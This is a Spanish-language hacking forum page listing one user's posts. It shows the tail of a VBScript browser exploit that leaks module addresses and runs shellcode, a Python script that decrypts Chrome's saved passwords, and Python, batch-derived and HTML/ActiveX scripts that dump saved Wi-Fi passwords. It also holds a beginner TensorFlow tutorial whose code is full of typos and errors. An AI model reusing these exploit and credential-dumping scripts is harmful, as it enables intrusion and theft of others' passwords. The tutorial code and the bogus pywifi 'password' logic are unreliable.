  292. Sub initializeObjects()
  293.    memoryHandler.SetProperty(memoryHandler1)
  294.    memoryHandler2.SetProperty(memoryHandler2)
  295.    variable1 = memoryHandler2.memory
  296. End Sub
  297.  
  298. Sub startExploit()
  299.    useAfterFree()
  300.    initializeObjects()
  301.    vbScriptAddress = leakVBScriptAddress()
  302.    ' Alert "CScriptEntryPointObject Leak: 0x" & Hex(vbScriptAddress) & vbcrlf & "VirtualTable address: 0x" & Hex(getUint32(vbScriptAddress))
  303.    vbScriptBase = getBaseAddressByDOSmodeSearch(getUint32(vbScriptAddress))
  304.    ' Alert "VBScript Base: 0x" & Hex(vbScriptBase)
  305.    msvcrtBase = getBaseFromImport(vbScriptBase, "msvcrt.dll")
  306.    ' Alert "MSVCRT Base: 0x" & Hex(msvcrtBase)
  307.    kernelBase = getBaseFromImport(msvcrtBase, "kernelbase.dll")
  308.    ' Alert "KernelBase Base: 0    
  309. ' Alert "KernelBase Base: 0x" & Hex(kernelBase)
  310.    ntdllBase = getBaseFromImport(msvcrtBase, "ntdll.dll")
  311.    ' Alert "Ntdll Base: 0x" & Hex(ntdllBase)
  312.    virtualProtectAddress = getProcAddress(kernelBase, "VirtualProtect")
  313.    ' Alert "KernelBase!VirtualProtect Address 0x" & Hex(virtualProtectAddress)
  314.    ntContinueAddress = getProcAddress(ntdllBase, "NtContinue")
  315.    ' Alert "KernelBase!NtContinue Address 0x" & Hex(ntContinueAddress)
  316.  
  317.    setMemoryValue getShellcode()
  318.    shellcodeAddress = getMemoryValue() + 8
  319.    ' Alert "Shellcode Address 0x" & Hex(shellcodeAddress)
  320.    setMemoryValue wrapShellcodeWithNtContinueContext(shellcodeAddress)
  321.    locationToExpand = getMemoryValue() + 69596
  322.    setMemoryValue expandWithVirtualProtect(locationToExpand)
  323.    finalMemoryValue = getMemoryValue()
  324.    executeShellcode
  325.    Alert "Executing Shellcode"
  326. End Sub
  327.  
  328. startExploit()
  329.  
  330.  

En el proximo mensaje describo a detalle los datos de funcionamiento y si logro entenderlo la explicación detallada.

Saludos Black Hacker
6  Programación / Python / [Taller/Aporte] Introduccion a Redes Neuronales Artificiles e inteligencia artificial con Python en: 18 Abril 2025, 21:47 pm
Clase Nº 1
IA VS ML VS DL
Dentro de la inteligencia artificial tenemos
Machine Learning (ML): Las computadoras aprenden en base a experiencias pasadas, subconjunto de este esta el
Deep Learning (DL): Crear predicciones y clasificaciones basado en redes neuronales artificiales profundas (RNA) utilizando grandes conjuntos de datos el cerebro humano esta formado por miles de millones de neuronas que se comunican entre si medientes señales electricas.

Lo que diferencia el aprendizaje profundo de las tecnicas de aprendizaje de las maquinas es su capacidad para extraer características automaticamente

Procesos Machine Learning:
  • 1. Seleccionar el modelo a entrenar
  • 2. realizar manualmente la extracción de características.

Procesos Deep Learning:
  • 1. Seleccionar la arquitectura de la red
  • 2. las características se extraen automáticamente alimentando los datos de entrenamiento junto con la clase de objectivo.

Proyecto 1: Convertir Celsius a Fahrenheit.

En este proyecto, construiremos un simple modelo de aprendizaje de máquinas para convertir las temperaturas de Celsius a Fahrenheit.
La ecuación es la siguiente

 T(ºF) = T(ºC) * (9/5) + 32
Ejemplo T(ºF) = (0ºC * 9/5) +32 = 32ºF

El objectivo es predecir el valor de una variable Y en base a otra variable X.
X se llama la variable independiente e Y se llama la variable dependiente
Esto se llama "Regresión" y se tratará con mucho mas a detalle.

Que son las Redes Neuronales Artificiales (RNA)

Son modelos de procesamiento de información inspirados en el cerebro humano. Donde tenemos un conjunto de entrenadas y nos devuelve un valor de salida.

vamos a ver cómo funcionan, tenemos el cerebro y la imagen de un gato, la imagen es un input y la funcion del cerebro es predecir que la imagen es un gato, cuando la imagen entra al cerebro (RNA) lo "correlaciona" con "experiencias pasadas" encuentra las características y reconoce. Mas el aprendizaje seria el siguiente, al analizar la imagen calcula cuando es correcto, si se equivocó o no y se genera una perdida (función de perdida) que crea una retroalimentación que se relaciona con una "Actualización de Pesos", todo pasa una y otra vez hasta que la neurona va reduciendo su funcion perdida.

Contruyamos la red más simple (Un modelo de una sola neurona)

Cargamos una lista con datos de entrenamiento (una tabla de Celsius a Fahrenheit)

Primero importamos la libreria tensorflow en python

Código
  1. import tensorflow as tf

la libreria panda que perdimite cargar el set de datos y trabajar con el en las sets de entrenamiento y prueba básicamente (base de datos y archivos)

Código
  1. import pandas as pd

la libreria numpy nos permite trabajar con matrices y matemátaicas.

Código
  1. import numpy as np

la libreria seaborn para hacer las visualizaciones de nuestro modelo.

Código
  1. import seaborn as sns

finalmente vamos a hacer splots de nuestro modelo para ver los gráficos con la libreria "matplotlib.pyplot"

Código
  1. import matploitlib.pyplot as plt

nota: en caso de no tener las librerias disponibles ejecutar el siguiente comando pip install nombre_de_la_libreria. continuamos

importamos el set de datos (base de datos) del set de entrenamiento

Código
  1. #Importando Datos
  2. temperatura_df = pd.read_csv("celsius_a_fahrenheit.cvs")

el archivo "celsius_a_fahrenheit.cvs" es un documento abierto en excel con dos colummnas, la primera en Celsius (variable independiente) y la segunda en Fahrenheit (este set de datos puede crearse automaticamente usando una macro)

Celsius/Fahrenheit
**** / ****
**** / ****
**** / ****
**** / ****
...
...
...
**** / ****

a mayor cantidad de datos mejor sera en entrenamiento en este caso.

Para la visualización de datos

Código
  1. #visualizacion
  2. sns.scatterplot(temperature_df['Celsius'],temperature_df['Fahrenheit'])

siguiente

Código
  1. #Cargando Set de Datos
  2. X_train = temperature_df['Celsius']
  3. y=train = temperature_df['Fahrenheit']

Creamos el modelo con tensorflow

Código
  1. #Creando el modelo
  2. model = tf.keras.Sequential()

Sequential() significa que vamos a crear nuestro modelo capa por capa de manera "secuencial", recordemos que las neuronas tienen puntos de entrada tienen acciones dendritas sinapsis y todo eso hace a la neurona. entonces vamos a agregar, creamos la primera capa de nuestro modelo con la variable model agregamos la capa con el subcomando ".add()" y usamos el comando "tf.keras.layers"
Código
  1. model.add(tf.keras.layers.Dense(units=1, input_shape[1]))

la capa Dense es de las capaz mas simples, donde los parametros de entrada son "units" cantidad de neuronas en este caso nos basta con solo una e "input_shape" que el valor sera tambien 1.

Cuando trabajamos con IA debemos ver el modelo, con eso vemos la red antes de trabajar.

Código
  1. model.summary()

Las redes neuronales aprenden atravez de la funcion de perdida y ajustes de pesos (sesgos)

Código
  1. #Compilado
  2. model.compile(optimizer=tf.keras.optimizers.Adam(0.5), loss='mean_squared_error')

En estadistica el error medio cuadrado es llamada desviación media cuadrada de un estimador mide el promedio de los cuadrados de los errores, es decir, la diferencia media cuadrada entre los valores estimados. El error medio cuadrado es una función de riesgo que corresponde al valor esperado de la perdida del error al cuadrado. Y lo que buscamos es la perdida del error para poder optimizar nuestra red.

Con lo anterior ya hemos compilado el modelo ahora nos falta una funcion que nos perdida entrena el modelo.
crear una funcion que nos perdima actualizar nuestros pesos corriendo atraves del set de datos para ajustar los pesos, por eso se cargo el set de datos en las variables X_train y y_train. llamos al modelo secuencia y le agregamos una neurona con la capa tipo Dense definiendo una neurona y una salida, compilamos el modelo en base a un optimizador y un modelo de errores.

Tenemos que crear una lista de epochs, el epochs es el numero de ciclos cuando se lee todo el set de entrenamiento.

Código
  1. #Entrenando el modelo
  2. epochs_hist = model.fit(x_train, y_train, epochs = 100)

el entrenamiento dura realmente poco porque estamos trabajando con regresion lineal y porque el set de datos esta definido bajo un numero relativamente pequeño de entradas y salidas (recomendable ajustar la base de datos a 30 lineas en el excel)

cuando entrenamos el modelo veremos que la optimizacion del modelo esta basado en el valor "loss" a menor sea el valor mas exacto es el modelo.

nos interesa ver el historial de entrenamiento

Código
  1. #Evaluando modelo
  2. epochs_hist.history.keys()

obtiene las llaves o claves del entrenamiento

Código
  1. #grafico
  2. plt.plot(epochs_hist.history['loss'])
  3. plt.title('Progreso de perdida durante el entrenamiento del modelo')
  4. plt.xlabel('Epoch')
  5. plt.ylabel('Training Loss')
  6. plt.legends('Training Loss')

Lo anterior muestra la evolucion al modelo respecto a numero de ciclos de entrenamiento "epochs".

obtenemos los pesos del modelo
Código
  1. model.get_weights()

Ahora nos interesa hacer prediciones, comparamos el modelo con la ecuacion "ya que existe la formala determista" con eso evaluamos la exactitud del mismo.
Código
  1. #Predicciones
  2. Temp_C = 0
  3. temp_F = model.predict([Temp_C])
  4. print(temp_F)
  5.  
  6. #formula
  7. Temp_F = (9/5)*Temp_c + 32.
  8. print(Temp_F)

y comparamos. para mejorar la prediccion podemos cambiar el modelo de compilado de 0.5 a 1
Código
  1. #Compilado
  2. model.compile(optimizer=tf.keras.optimizers.Adam(1), loss='mean_squared_error')

Con lo anterior terminamos el modelo basico para iniciar con inteligencia artificial. E aqui el codigo fuente completo.

Código
  1. import tensorflow as tf
  2. import pandas as pd
  3. import numpy as np
  4. import seaborn as sns
  5. import matplotlib.pyplot as plt
  6.  
  7. #impotando Datos
  8. temperature_df = pd.read_csv("celsius_a_fahrenheit.csv")
  9.  
  10. #Visualizacion
  11. sns.scatterplot(temperature_df['celsius'], temperature_df['fahrenheit'])
  12.  
  13. #Cargando Set de Datos
  14. X_train = temperature_df['Celsius']
  15. y_train = temperature_df['Fahrenheit']
  16.  
  17. #Creando el modelo
  18. model = tf.keras.sequential()
  19. model.add(tf.keras.layers.DEnse(units=1, input_shape=[1]))
  20.  
  21. model.summaryÇ()
  22.  
  23. #compilado
  24. model.compile(optimizar=tf.keras.optimizers.Adam(1),loss='mean_squared_error')
  25.  
  26. #Entrenando el modelo
  27. epochs_hist = model.fit(x_train, y_train, epochs=100)
  28.  
  29. #Evaluando modelo
  30. epochs_hist.history.keys()
  31.  
  32. #gafico
  33. plt.plot(epochs_hist.history['loss'])
  34. plt.title('Progreso de perdida durante el entrenamiento del modelo')
  35. plt.xlabel('Epoch')
  36. plt.ylabel('Training Loss')
  37. plt.legends('Training Loss')
  38.  
  39. model.get_weights()
  40.  
  41. #Predicciones
  42. Temp_C = 0
  43. temp_F = model.predict([Temp_C])
  44. print(temp_F)
  45.  
  46. #formula
  47. Temp_F = (9/5)*Temp_c + 32.
  48. print(Temp_F)

Saludos
7  Programación / Scripting / [AYUDA] Script Python para extraer informacion de Google Chrome en Windows en: 11 Abril 2025, 23:33 pm
Saludos comunidad, esto no representa un aporte real sino un codigo que estaba estudiando en python como parte del inicio de mi portafolio personal y me encuentro con el siguiente Script. Requiere 2 librerias

Código
  1. import os
  2. import sqlite3
  3. import win32crypt #pip install pypiwin32
  4.  
  5. def get_chrome():
  6.  data_path = os.path.expanduser('~') + r'\AppData\Local\Google\Chrome\User Data\Default\Login Data'
  7.  c = sqlite3.connect(data_path)
  8.  cursor = c.cursor()
  9.  select_statement = 'SELECT origin_url, username_value, password_value FROM Logins'
  10.  cursor.execute(select_statement)
  11.  
  12.  login_data = cursor.fetchall()
  13.  
  14.  cred = {}
  15.  string = ''
  16.  
  17.  for url, user_name, pws in login_data:
  18.    pwd = win32crypt.CryptUnprotectData(pwd)
  19.    cred[url] = (user_name, pwd[1].decode('utf8'))
  20.    string += '\n[+] URL:%s USERNAME: %s PASSWORD: %s\n' % (url, user_name, pwd[1].decode('utf8'))
  21.    print(string)
  22.    os.system('pause')
  23.  
  24. if __name__ == '__main__':
  25.  get_chrome()
  26.  
  27. '''
  28.  File "\code\get_chrome.py", line 10, in get_chrome
  29.    cursor.execute(select_statement)
  30. sqlite3.OperationalError: database is locked
  31. '''

me devuelve un error de sqlite3.OperationalError: database is locked.

Saludos
8  Programación / Scripting / Re: [APORTE] Batch que devuelva contraseñas Wifi guardadas de Windows 10 en: 11 Abril 2025, 16:38 pm
Saludos

Aqui otro aporte en Python una replica del primer script

Código
  1. import subprocess
  2. import re
  3. import os
  4.  
  5. def get_wifi_profiles():
  6.    """Obtiene los nombres de los perfiles de Wi-Fi guardados."""
  7.    try:
  8.        profiles_output = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles'], text=True)
  9.        return re.findall(r'Perfil\s*:\s*(.*)', profiles_output)
  10.    except subprocess.CalledProcessError:
  11.        print("Error al obtener los perfiles de Wi-Fi.")
  12.        return []
  13.  
  14. def get_wifi_password(profile):
  15.    """Obtiene la contraseña de un perfil de Wi-Fi específico."""
  16.    try:
  17.        result = subprocess.check_output(['netsh', 'wlan', 'show', 'profile', profile, 'key=clear'], text=True)
  18.        password_match = re.search(r'Contenido de la clave\s*:\s*(.*)', result)
  19.        return password_match.group(1).strip() if password_match else "La contraseña está vacía"
  20.    except subprocess.CalledProcessError:
  21.        return "Error al obtener la contraseña"
  22.  
  23. def save_to_file(wifi_passwords):
  24.    """Guarda las contraseñas de Wi-Fi en un archivo de texto."""
  25.    computer_name = os.environ['COMPUTERNAME']
  26.    log_file = f'Wifi_Passwords_on_{computer_name}.txt'
  27.  
  28.    with open(log_file, 'w') as f:
  29.        f.write("***********************************************\n")
  30.        f.write(f"Contraseñas de Wi-Fi en {computer_name}\n")
  31.        f.write("***********************************************\n\n")
  32.        for ssid, password in wifi_passwords.items():
  33.            f.write(f"[SSID: {ssid}] => \"{password}\"\n")
  34.    print(f"Contraseñas guardadas en {log_file}")
  35.  
  36. def main():
  37.    wifi_passwords = {}
  38.    profiles = get_wifi_profiles()
  39.  
  40.    for profile in profiles:
  41.        profile = profile.strip()
  42.        password = get_wifi_password(profile)
  43.        wifi_passwords[profile] = password
  44.        print(f"[SSID: {profile}] => \"{password}\"")
  45.  
  46.    save_to_file(wifi_passwords)
  47.  
  48. if __name__ == "__main__":
  49.    main()

Lo anterior es ineficiente ya que llama a la misma funcion netsh wlan. Lo siguiente requiere la libreria PyWifi

Código
  1. import os
  2. import pywifi
  3. from pywifi import const, Profile
  4.  
  5. def get_wifi_passwords():
  6.    """Obtiene los nombres de los perfiles de Wi-Fi y sus contraseñas."""
  7.    wifi = pywifi.PyWiFi()
  8.    iface = wifi.interfaces()[0]  # Usar la primera interfaz Wi-Fi
  9.  
  10.    wifi_passwords = {}
  11.  
  12.    # Obtener los perfiles guardados
  13.    profiles = iface.scan_results()
  14.  
  15.    for profile in profiles:
  16.        ssid = profile.ssid
  17.        iface.remove_all_networks()  # Limpiar redes anteriores
  18.        iface.add_network_profile(profile)  # Agregar el perfil actual
  19.  
  20.        # Intentar conectarse para obtener la contraseña
  21.        iface.connect(iface.add_network_profile(profile))
  22.        iface.disconnect()  # Desconectar inmediatamente
  23.  
  24.        # Obtener la contraseña
  25.        password = profile.akm[0] if profile.akm else "La contraseña está vacía"
  26.        wifi_passwords[ssid] = password
  27.  
  28.    return wifi_passwords
  29.  
  30. def save_to_file(wifi_passwords):
  31.    """Guarda las contraseñas de Wi-Fi en un archivo de texto."""
  32.    computer_name = os.environ['COMPUTERNAME']
  33.    log_file = f'Wifi_Passwords_on_{computer_name}.txt'
  34.  
  35.    with open(log_file, 'w') as f:
  36.        f.write("***********************************************\n")
  37.        f.write(f"Contraseñas de Wi-Fi en {computer_name}\n")
  38.        f.write("***********************************************\n\n")
  39.        for ssid, password in wifi_passwords.items():
  40.            f.write(f"[SSID: {ssid}] => \"{password}\"\n")
  41.  
  42.    print(f"Contraseñas guardadas en {log_file}")
  43.  
  44. def main():
  45.    wifi_passwords = get_wifi_passwords()
  46.  
  47.    for ssid, password in wifi_passwords.items():
  48.        print(f"[SSID: {ssid}] => \"{password}\"")
  49.  
  50.    save_to_file(wifi_passwords)
  51.  
  52. if __name__ == "__main__":
  53.    main()
  54.  

Saludos
9  Programación / Scripting / Re: [APORTE] Batch que devuelva contraseñas Wifi guardadas de Windows 10 en: 11 Abril 2025, 06:39 am
hola Bad4m_cod3 creo que quedaria mas bien usando el metodo StdOut.RealAll() seria mas rapido ya que usando el metodo linea por linea es mas lento y mas si lo haces en javascript es muy lento...pero tendria que modificar el codigo y es mas complicado pero no imposible y el comado option explicit es para validar de que las variables a usar sean declaradas y si falta una por declarar te marcaria un error asi es mas eficiente el codigo...al principio yo no lo usaba pero me lo aclaro MCKSys Argentina

en fin saludos Flamer

Revisando detenidamente tu perfil es un orgullo saber que fue inspiracion para publicarlo en tu Blog. Me gusto el uso de HTML.

Código
  1.  
  2. <head><title>Wifi Password</title>
  3.  
  4. <br><br>
  5. <textarea id="resultados" cols="90" rows="20"></textarea><br><br>
  6. <input type="button" value="Extraer Password Wifi" onclick="pass()">
  7. function pass()
  8. {  
  9.   var exec2,posicion1,posicion2,datos1,datos2
  10.   var shell=new ActiveXObject("wscript.shell")
  11.   var exec1=shell.exec("cmd /c netsh wlan show profile")
  12.  
  13.  
  14.   do
  15.   {
  16.      datos1=exec1.StdOut.ReadLine()
  17.      posicion1="    Perfil de todos los usuarios     : "
  18.  
  19.      if(datos1.indexOf(posicion1)!=-1)
  20.      {
  21.         datos1=datos1.replace(posicion1,"")
  22.     exec2=shell.exec("cmd /c netsh wlan show profile " + String.fromCharCode(34) + datos1 + String.fromCharCode(34) + " key=clear")
  23.     do
  24.     {
  25.        datos2=exec2.StdOut.ReadLine()
  26.    posicion2="    Contenido de la clave  : "
  27.    if(datos2.indexOf(posicion2)!=-1)
  28.    {
  29.       datos2=datos2.replace(posicion2,"")
  30.   document.getElementById("resultados").value+="La Password De La Red " + datos1 + "  es : " + datos2 + "\n"
  31.    }
  32.     }while(!exec2.StdOut.atEndofStream)
  33.      }
  34.   }while(!exec1.StdOut.atEndofStream)
  35. }
  36. </body>
  37. </html>

Saludos. Tambien lo pondre a prueba
10  Foros Generales / Noticias / Re: Si usas esta letra, tus contraseñas serán casi imposibles de descifrar: así lo aseguran los hackers en: 11 Abril 2025, 06:15 am
Hola, la letra es la ñ, he ingresado al link de la fuente y ahi lo dice.


Saludos

Realmente por logica es la que se puede usar del español. aunque si el Hacker conoce tu idioma natal no seria de gran ayuda.

Saludos
Páginas: [1] 2 3 4 5 6
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines